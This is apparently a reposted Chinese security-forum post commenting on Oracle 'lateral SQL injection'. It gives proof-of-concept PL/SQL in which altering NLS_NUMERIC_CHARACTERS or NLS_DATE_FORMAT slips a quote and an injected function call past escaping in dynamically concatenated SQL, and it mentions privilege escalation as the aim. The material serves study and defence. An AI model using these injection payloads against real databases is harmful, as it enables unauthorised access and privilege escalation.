ORACLE_LATERAL-SQL-INJECTION_个人见解

以下消息来自幻影论坛[Ph4nt0m]邮件组
 
PAPER 地址:
[url]http://www.databasesecurity.com/dbsec/lateral-sql-injection.pdf[/url]
 
          author : kj021320
          team :  I.S.T.O
 
            最近忙啊忙啊的,今天终于有点点时间抽出来看看技术文章了,最近国外又出了关于新型 ORA 注入技术的 PAPER,赶紧测试 ,主要是出现在 SQL 语句字符拼接的时候, DATE 类型转换为 VARCHAR 以及 NUMBER 转换为 VARCHAR 加入的格式字符出现问题。
如果直接执行 SQL 语句或者参数绑定则不用担心太多,
如以下 ORACLE 存储过程
create or replace procedure kjdatepoc( date d)
as
begin
       insert into kjdatetable values (d);
           commit ;
end ;
根本不需要担心遭受到 SQL 新型注入攻击,那么在什么地方会发生 DATE 以及 NUMBER 的注入攻击呢!?一般都是采用了动态 SQL 而又不采用参数绑定的语句。
例如工程师经常用的 DBMS_SQL 或者 EXECUTE IMMEDIATE
看以下存储过程
create or replace procedure kjdatepoc( date d)
as
begin
       execute immediate 'insert into kjdatetable values(' || d || ')' ;
       commit ;
end ;
那么遇到以上的存储过程或者函数等,也通过修改 SESSION 中的 NLS_DATE_FORMAT 中的值达到 SQL 注射的目的,
老外的 PAPER 讲解得非常详细了 ,我在这里也不废话。
惟独对于 NUMBER 类型的注射没有多作讲解 只是简单演示了可以输出单引号!
看以下语句
ALTER SESSION SET NLS_NUMERIC_CHARACTERS= '''.' ;
SELECT to_number( 1000.10001 , '999999D99999' )|| '' FROM DUAL;
输出一下结果
1000'10001
只是多了一个单引号,那有什么用呢?乐观的来说!在特定情况下是很有价值的!看以下一个存储过程
create or replace procedure NumInjPoc (kjexpnum number ,kjexpstr varchar2 )
is
SecStr varchar2 ( 1000 );
begin
SecStr := replace (kjexpstr, '''' , '''''' );
sys .dbms_output.put_line( 'SELECT * FROM DUAL WHERE ID=' ||kjexpnum|| ' and name=''' ||SecStr|| '''' );
end ;
内部对 varchar 类型进行替换了!我们可以进行测试
begin
       numinjpoc( 1000 , '''--' );
end ;
其输出 SQL 语句为
SELECT * FROM DUAL WHERE ID=1000 and name='''--'
单引号被转义掉了
那么如果我们结合这个 NUMBER 类型怎么进行注射呢?
ALTER SESSION SET NLS_NUMERIC_CHARACTERS= '''.' ;
begin
       numinjpoc(TO_NUMBER( 0.10001 , '999999D99999' ), '||kj.exp()--' );
end ;
看看输出结果
SELECT * FROM DUAL WHERE ID='10001 and name='||kj.exp()--'
这样就可以间接的攻击它
在某中程度才来需要 ALTER SESSION 配合后,再去攻击系统内部的一些函数或者过程来提升权限。未尝不是一种好的突破思路,但是对于单语句进行 SQL 注射攻击,以结果为向导的话!这样的方式没多大作为。

你可能感兴趣的:(oracle,数据库,职场,休闲)